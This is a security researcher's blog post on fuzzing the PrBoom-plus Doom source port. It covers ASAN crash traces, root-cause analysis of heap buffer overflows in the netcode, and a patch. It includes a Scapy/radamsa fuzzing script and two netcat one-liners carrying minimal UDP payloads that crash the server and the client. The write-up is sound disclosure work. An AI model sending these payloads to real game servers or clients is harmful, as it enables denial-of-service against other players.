[EN] A-Z: PrBoom-plus (part I)

PrBoom-plus is a Doom source port based on PrBoom (which itself is based on other projects). It supports Windows, Mac, Linux and BSD systems. As I’m a Doom fan by myself I decided to get PrBoom-plus and analyze it from security perspective.

start

Compilation with ASAN

I started with downloading the project from repository and preparing for compilation with ASAN.

root@ubuntu16:~/projects/prboom-plus# svn co https://svn.prboom.org/repos/branches/prboom-plus-24/prboom2/

According to INSTALL file I installed required packages.

root@ubuntu16:~/projects/prboom-plus#  apt-get install libsdl2-dev libsdl2-net-dev libsdl2-image-dev libpcre3-dev libsdl2-mixer-dev libfluidsynth-dev libportmidi-dev libmad0-dev libdumb1-dev libvorbis-dev

Also, I added useful compilator flags, because it appeared that CFLAGS environment variable placed additional parameters in invalid order, making them useless.

root@ubuntu16:~/projects/prboom-plus/prboom2# sed -i 's/^CFLAGS_OPT=.*/CFLAGS_OPT="-O0 -ggdb3"/' configure.ac

After such preparation I was able to compile the project with ASAN.

root@ubuntu16:~/projects/prboom-plus/prboom2# ./bootstrap 
root@ubuntu16:~/projects/prboom-plus/prboom2# CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix=`pwd`/bin
root@ubuntu16:~/projects/prboom-plus/prboom2# make install

Game data

After compilation, there was the last step required before running the game. PrBoom-Plus is just an engine, so it requires game data to run. I was mostly interested in multiplayer part, so I chose FreeDM, the multiplayer part of Freedoom project.

root@ubuntu16:~/projects/prboom-plus# wget https://github.com/freedoom/freedoom/releases/download/v0.11.3/freedm-0.11.3.zip
root@ubuntu16:~/projects/prboom-plus# unzip freedm-0.11.3.zip 

First run and crash

When everything was ready, it was possible to run the server and the client.

root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus-game-server 
Listening on port 5030, waiting for 2 players

The first crash occured immediately, just by running the client.

root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse 
M_LoadDefaults: Load system defaults.
 default file: /root/.prboom-plus/prboom-plus.cfg
 found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad

PrBoom-Plus v2.5.1.5 (http://prboom-plus.sourceforge.net/)
I_SetAffinityMask: manual affinity mask is 1
 found /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
IWAD found: /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
PrBoom-Plus (built 2019-08-17 13:35:34), playing: DOOM 2: Hell on Earth
PrBoom-Plus is released under the GNU General Public license v2.0.
You are welcome to redistribute it under certain conditions.
It comes with ABSOLUTELY NO WARRANTY. See the file COPYING for details.
V_Init: allocate screens.
V_InitMode: using 8 bit video mode
I_CalculateRes: trying to optimize screen pitch
 test case for pitch=640 is processed 14185 times for 100 msec
 test case for pitch=672 is processed 15243 times for 100 msec
 optimized screen pitch is 672
I_InitScreenResolution: Using resolution 640x480
 found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
D_InitNetGame: Checking for network game.
	joined game as player 1/2; 0 WADs specified
W_Init: Init WADfiles.
 adding /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
 adding /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
W_InitCache

Loading DEH lump from /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
M_Init: Init miscellaneous info.
SetRatio: width/height parameters 640x480
SetRatio: storage aspect ratio 4:3
SetRatio: assuming square pixels
SetRatio: display aspect ratio 4:3
SetRatio: gl_ratio 1.600000
SetRatio: multiplier 1/1
D_CheckNetGame: waiting for server to signal game start
=================================================================
==5322==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb3822260 at pc 0x0832048a bp 0xbf8408e8 sp 0xbf8408d8
READ of size 1 at 0xb3822260 thread T0
    #0 0x8320489 in ChecksumPacket /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:221
    #1 0x83206c7 in I_GetPacket /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:243
    #2 0x82c26b1 in D_CheckNetGame /root/projects/prboom-plus/prboom2/src/d_client.c:192
    #3 0x817da59 in D_DoomMainSetup /root/projects/prboom-plus/prboom2/src/d_main.c:1853
    #4 0x817e94b in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1977
    #5 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
    #6 0xb73fa636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x804daf6  (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus+0x804daf6)

0xb3822260 is located 0 bytes to the right of 64-byte region [0xb3822220,0xb3822260)
allocated by thread T0 here:
    #0 0xb7a80b44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
    #1 0x82c0345 in Z_Malloc /root/projects/prboom-plus/prboom2/src/z_zone.c:397
    #2 0x82c25d0 in D_CheckNetGame /root/projects/prboom-plus/prboom2/src/d_client.c:187
    #3 0x817da59 in D_DoomMainSetup /root/projects/prboom-plus/prboom2/src/d_main.c:1853
    #4 0x817e94b in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1977
    #5 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
    #6 0xb73fa636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:221 in ChecksumPacket
Shadow bytes around the buggy address:
  0x367043f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36704400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36704410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36704420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36704430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36704440: fa fa fa fa 00 00 00 00 00 00 00 00[fa]fa fa fa
  0x36704450: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x36704460: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
  0x36704470: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x36704480: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x36704490: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5322==ABORTING

Analyzing first crash

The client crashes on reading outisde a buffer in ChecksumPacket function in src/SDL/i_network.c:221.

212  static byte ChecksumPacket(const packet_header_t* buffer, size_t len)
213  {
214    const byte* p = (const void*)buffer;
215    byte sum = 0;
216  
217    if (len==0)
218      return 0;
219  
220    while (p++, --len)
221      sum += *p;
222  
223    return sum;
224  }

It seemed that len variable has greater values than size of p buffer. This function was called from I_GetPacket in src/SDL/i_network.c:243.

226  size_t I_GetPacket(packet_header_t* buffer, size_t buflen)
227  {
228    int checksum;
229    size_t len;
230    int status;
231  
232    status = SDLNet_UDP_Recv(udp_socket, udp_packet);
233    len = udp_packet->len;
234    if (buflen<len)
235      len=buflen;
236    if ( (status!=0) && (len>0) )
237      memcpy(buffer, udp_packet->data, len);
(...)
242    if ( (status!=0) && (len>0)) {
243      byte psum = ChecksumPacket(buffer, udp_packet->len);
(...)
249  }

Here the problem starts to become visible. Value from udp_packet->len is assigned to a len variable. Then, there’s a check (line 234) to ensure les is not greater than buflen (buffer’s size). If it is, les is reduced to value of buflen. Invocation of memcpy properly uses len variable, so no data will be written outside the buffer. However, invocation of ChecksumPacket uses udp_packet->len which may be greater than buffer’s size, finally leading to reading outside it. To fix this bug, I passed len variable, the same way as it is done with memcpy.

root@ubuntu16:~/projects/prboom-plus/prboom2# svn diff src/SDL/i_network.c
Index: src/SDL/i_network.c
===================================================================
--- src/SDL/i_network.c	(revision 4540)
+++ src/SDL/i_network.c	(working copy)
@@ -240,7 +240,7 @@
   checksum=buffer->checksum;
   buffer->checksum=0;
   if ( (status!=0) && (len>0)) {
-    byte psum = ChecksumPacket(buffer, udp_packet->len);
+    byte psum = ChecksumPacket(buffer, len);
 /*    fprintf(stderr, "recvlen = %u, stolen = %u, csum = %u, psum = %u\n",
   udp_packet->len, len, checksum, psum); */
     if (psum == checksum) return len;

After recompilation, the game started to work (the game requires two players to start, the client’s command should be ran twice)

two clients

Fuzzing

I wanted to fuzz network part of the project. The idea was very simple - collect some network data samples, modify and send. Implementation was even more simplier and naive. I began with collecting data. I ran Wireshark, played the game for a while (2 player game by myself, it was quite strange) and saved the traffic. Then downloaded and built radamsa and installed scapy.

root@ubuntu16:~/projects# git clone https://gitlab.com/akihe/radamsa.git
root@ubuntu16:~/projects# cd radamsa
root@ubuntu16:~/projects/radamsa# make install 
root@ubuntu16:~# pip install --pre scapy[basic]

Scapy script responsible for parsing data, modifying with radamsa (I know it’s inefficient) and resend. To fuzz the client instead of the server, UDP port should be changed from 5030 to 1024. The first line in s function calculates a checksum which validated after being received.

import subprocess
import base64 

def s(d):
 c = chr(sum([ord(x) for x in d])%256)
 p = c + d
 send(IP(dst="10.1.1.109")/UDP(dport=5030,sport=12345)/p)

def radamsa(val, seed):
    val = base64.b64encode(val)
    o = subprocess.check_output("echo '" + val + "' | base64 -d | /usr/bin/radamsa -n 1 --seed " + str(seed), shell=True)
    return o

def start(seed, data):
  while True:
    for d in data:
      r = radamsa(d, seed)
      s(r)
    seed += 1

pcap = rdpcap("doom.pcap")
udps = [ p for p in pcap if UDP in p and p[UDP].dport == 5030 ]
data = list(set([ x[UDP].load[1:] for x in udps ]))
start(0, data)

Note: for some reason packets sent between the client and the server from the same machine didn’t reach their destination. A workaround was to clone my virtual machine and run fuzzing from it.

Crashes

After a while two crashes were found, the first one in the server, and the second one in the client. However, they are related and share similar bug.

Server crash 1

Minimal payload to crash \xb6\x05\x01\x01\x56\x33\x27\xff\x00.

# echo -n -e '\xb6\x05\x01\x01\x56\x33\x27\xff\x00' | nc -u 10.1.1.109 5030

results in:

=================================================================
==29005==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb4f02810 at pc 0xb7a76866 bp 0xbf989f48 sp 0xbf989b18
WRITE of size 10991 at 0xb4f02810 thread T0
    #0 0xb7a76865  (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
    #1 0x804e24c in I_SendPacketTo /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:261
    #2 0x804ce71 in main /root/projects/prboom-plus/prboom2/src/d_server.c:708
    #3 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #4 0x8049396  (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus-game-server+0x8049396)

0xb4f02810 is located 0 bytes to the right of 10000-byte region [0xb4f00100,0xb4f02810)
allocated by thread T0 here:
    #0 0xb7ae3b44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
    #1 0xb7714767  (/usr/lib/i386-linux-gnu/libSDL2-2.0.so.0+0x79767)
    #2 0x80499bf in I_InitSockets /root/projects/prboom-plus/prboom2/src/d_server.c:296
    #3 0x804a8d3 in main /root/projects/prboom-plus/prboom2/src/d_server.c:432
    #4 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865) 
Shadow bytes around the buggy address:
  0x369e04b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x369e04f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x369e0500: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x369e0550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==29005==ABORTING

The program tried to write 10991 bytes to a buffer with 10000 bytes on a heap in I_SendPacketTo in src/SDL/i_network.c:261.

258  void I_SendPacketTo(packet_header_t* packet, size_t len, UDP_CHANNEL *to)
259  {
260    packet->checksum = ChecksumPacket(packet, len);
261    memcpy(udp_packet->data, packet, udp_packet->len = len);
262    SDLNet_UDP_Send(udp_socket, *to, udp_packet);
263  }

From this I assummed that len variable was greater than length of udp_packet->data, so I started digging.

88  void I_InitNetwork(void)
89  {
(...)
92    udp_packet = SDLNet_AllocPacket(10000);

UDP packet has fixed size of 10000 bytes. A packet from which data was copied is allocated in main function in src/d_server.c:688.

680    for (i=0; i<MAXPLAYERS; i++)
681      if (playerstate[i] == pc_playing) {
682        int tics;
683        if (lowtic <= remoteticto[i]) continue;
684        if ((remoteticto[i] -= xtratics) < 0) remoteticto[i] = 0;
685        tics = lowtic - remoteticto[i];
686        {
687          byte *p;
688          packet = malloc(sizeof(packet_header_t) + 1 +
689           tics * (1 + numplayers * (1 + sizeof(ticcmd_t))));
(...)
707          }
708          I_SendPacketTo(packet, p - ((byte*)packet), remoteaddr+i);

tics variable was the only variable partially controlled from network input, so I followed how it was set.

remoteticto is set here:

565          remoteticto[from] = ptic(packet);

This array is signed int type,

461      int remoteticto[MAXPLAYERS] = { 0, 0, 0, 0 };

but a packet received over network is parsed to packet_header_t structure with unsigned tic (0xff273356 from the payload). When tic is assigned to the array (line 565), integer overflow occurs and it becomes a negative value (-14208170). In the result, in line 684, this whole value is zeroed. lowtic is the only variable on which tics depends (line 685). lowtic is taken from remoteticfrom which grows itself as the game is started and players connected. In practice waiting for less than 20 seconds was enough to get lowtic greater than 525, which resulted in the allocated buffer bigger than 10000 bytes and finally in heap buffer overflow.

(gdb) printf "%u\n" ,sizeof(packet_header_t) + 1 + (525) * (1 + numplayers * (1 + sizeof(ticcmd_t)))
9984
(gdb) printf "%u\n" ,sizeof(packet_header_t) + 1 + (526) * (1 + numplayers * (1 + sizeof(ticcmd_t)))
10003

Client crash 1

Minimal payload to crash: \xb4\x05\x00\x00\x56\x33\x27\xff

# echo -n -e '\xb4\x05\x00\x00\x56\x33\x27\xff' | nc -u 10.1.1.109 1024

and the result:

root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse
M_LoadDefaults: Load system defaults.
 default file: /root/.prboom-plus/prboom-plus.cfg
 found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad

PrBoom-Plus v2.5.1.5 (http://prboom-plus.sourceforge.net/)
I_SetAffinityMask: manual affinity mask is 1
 found /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
IWAD found: /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
PrBoom-Plus (built 2019-08-17 13:35:34), playing: DOOM 2: Hell on Earth
PrBoom-Plus is released under the GNU General Public license v2.0.
You are welcome to redistribute it under certain conditions.
It comes with ABSOLUTELY NO WARRANTY. See the file COPYING for details.
V_Init: allocate screens.
V_InitMode: using 8 bit video mode
I_CalculateRes: trying to optimize screen pitch
 test case for pitch=640 is processed 12203 times for 100 msec
 test case for pitch=672 is processed 15639 times for 100 msec
 optimized screen pitch is 672
I_InitScreenResolution: Using resolution 640x480
 found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
D_InitNetGame: Checking for network game.
	joined game as player 2/2; 0 WADs specified
W_Init: Init WADfiles.
 adding /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
 adding /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
W_InitCache

Loading DEH lump from /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
M_Init: Init miscellaneous info.
SetRatio: width/height parameters 640x480
SetRatio: storage aspect ratio 4:3
SetRatio: assuming square pixels
SetRatio: display aspect ratio 4:3
SetRatio: gl_ratio 1.600000
SetRatio: multiplier 1/1
D_CheckNetGame: waiting for server to signal game start
R_Init: Init DOOM refresh daemon - 
R_LoadTrigTables: Endianness...ok.
R_InitData: Textures Flats Sprites 
R_Init: R_InitPlanes R_InitLightTables R_InitSkyMap R_InitTranslationsTables R_InitPatches 
P_Init: Init Playloop state.
I_Init: Setting up machine state.
I_InitSound:  configured audio device with 1024 samples/slice
I_InitSound: sound module ready
S_Init: Setting up sound.
S_Init: default sfx volume 8
HU_Init: Setting up heads up display.
I_InitGraphics: 640x480
I_UpdateVideoMode: 0x20, SDL buffer, direct access
SetRatio: width/height parameters 640x480
SetRatio: storage aspect ratio 4:3
SetRatio: assuming square pixels
SetRatio: display aspect ratio 4:3
SetRatio: gl_ratio 1.600000
SetRatio: multiplier 1/1
ST_Init: Init status bar.
P_GetNodesVersion: using normal BSP nodes
=================================================================
==29087==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xa9808810 at pc 0xb79cf866 bp 0xbfb754e8 sp 0xbfb750b8
WRITE of size 12354 at 0xa9808810 thread T0
    #0 0xb79cf865  (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
    #1 0x832078f in I_SendPacket /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:254
    #2 0x82c30bf in NetUpdate /root/projects/prboom-plus/prboom2/src/d_client.c:369
    #3 0x8283048 in R_RenderPlayerView /root/projects/prboom-plus/prboom2/src/r_main.c:1126
    #4 0x8175032 in D_Display /root/projects/prboom-plus/prboom2/src/d_main.c:360
    #5 0x8175be9 in D_DoomLoop /root/projects/prboom-plus/prboom2/src/d_main.c:496
    #6 0x817e950 in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1979
    #7 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
    #8 0xb73b6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #9 0x804daf6  (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus+0x804daf6)

0xa9808810 is located 0 bytes to the right of 10000-byte region [0xa9806100,0xa9808810)
allocated by thread T0 here:
    #0 0xb7a3cb44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
    #1 0xb78c1767  (/usr/lib/i386-linux-gnu/libSDL2-2.0.so.0+0x79767)
    #2 0x82c1c84 in D_InitNetGame /root/projects/prboom-plus/prboom2/src/d_client.c:113
    #3 0x817ce49 in D_DoomMainSetup /root/projects/prboom-plus/prboom2/src/d_main.c:1723
    #4 0x817e94b in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1977
    #5 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
    #6 0xb73b6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865) 
Shadow bytes around the buggy address:
  0x353010b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x353010c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x353010d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x353010e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x353010f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x35301100: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x35301110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x35301120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x35301130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x35301140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x35301150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==29087==ABORTING

A function I_SendPacket in src/SDL/i_network.c:254 copies more bytes than allocated fixed 10000 bytes in UDP packet.

251  void I_SendPacket(packet_header_t* packet, size_t len)
252  {
253    packet->checksum = ChecksumPacket(packet, len);
254    memcpy(udp_packet->data, packet, udp_packet->len = len);
255    SDLNet_UDP_Send(udp_socket, 0, udp_packet);
256  }

I looked how size_t len is calculated in src/d_client.c and this problem looked similar to the previous one.

300        case PKT_RETRANS: // Resend request
301            remotesend = doom_ntohl(packet->tic);
(...)
350      if (server && maketic > remotesend) { // Send the tics to the server
351        int sendtics;
352        remotesend -= xtratics;
353        if (remotesend < 0) remotesend = 0;
354        sendtics = maketic - remotesend;
355        {
356    size_t pkt_size = sizeof(packet_header_t) + 2 + sendtics * sizeof(ticcmd_t);
357    packet_header_t *packet = Z_Malloc(pkt_size, PU_STATIC, NULL);
(...)
369    I_SendPacket(packet, pkt_size);

remotesend is a signed integer, but tic in packet is unsigned, so integer overflow occurs and 0xff273356 from the payload becomes a negative value. In line 353 remotesend is zeroed, so sendtics depends only on maketic. This variable grows itself as the game is on, and when it reaches 1249 (in practice it was less than a minute) the allocated buffer is bigger than fixed 10000 bytes and heap buffer overflow occurs.

(gdb) print sizeof(packet_header_t) + 2 + 1249 * sizeof(ticcmd_t)
$17 = 10002
(gdb) print sizeof(packet_header_t) + 2 + 1248 * sizeof(ticcmd_t)
$18 = 9994

Summary

The first crash was found just after starting the game, the next two after very quick and naive fuzzing. I don’t consider this topic as closed, but I reported my findings and I’m moving to looking for another vulnerabilities using various approaches.

dead

Written on October 1, 2019 by Michał Dardas